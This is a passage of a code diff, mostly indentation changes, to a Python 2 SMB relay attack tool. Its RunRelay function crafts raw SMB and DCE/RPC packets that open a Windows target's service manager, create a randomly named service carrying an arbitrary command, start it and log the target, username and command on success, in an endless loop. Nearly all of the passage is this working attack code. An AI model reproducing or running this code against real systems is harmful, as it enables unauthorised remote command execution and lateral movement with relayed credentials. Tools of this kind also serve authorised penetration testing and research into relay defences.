flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00") w.calculate() @@ -326,118 +326,118 @@ def RunRelay(host, Command,Domain): t = SMBWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 + buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLCreateService. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" - print "[+] Creating service" - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - ContextHandler = data[88:108] - ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) - ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) - FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' - w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) - w.calculate() - x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) - x.calculate() - t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service" - - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) - w.calculate() - x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) - x.calculate() - t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLCreateService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" + print "[+] Creating service" + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[88:108] + ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) + ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) + FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 + buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLStartService. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service" - ContextHandler = data[88:108] - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) - x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) - x.calculate() - t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - if data[8:10] == "\x2e\x00": - print "[+] Command successful !" - Logs.info('Command successful:') - Logs.info(Target+","+Username+','+CMD) - return True - if data[8:10] != "\x2e\x00": - return False + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service" + + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service" + ContextHandler = data[88:108] + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + if data[8:10] == "\x2e\x00": + print "[+] Command successful !" + Logs.info('Command successful:') + Logs.info(Target+","+Username+','+CMD) + return True + if data[8:10] != "\x2e\x00": + return False def RunInloop(Target,Command,Domain): - try: - while True: - worker = RunRelay(Target,Command,Domain) - except: - raise + try: + while True: + worker = RunRelay(Target,Command,Domain) + except: + raise def main(): - try: - thread.start_new(RunInloop,(Target,Command,Domain)) - except KeyboardInterrupt: - exit() + try: + thread.start_new(RunInloop,(Target,Command,Domain)) + except KeyboardInterrupt: + exit() if __name__ == '__main__': try: @@ -445,4 +445,3 @@ if __name__ == '__main__': except KeyboardInterrupt: raise raw_input() -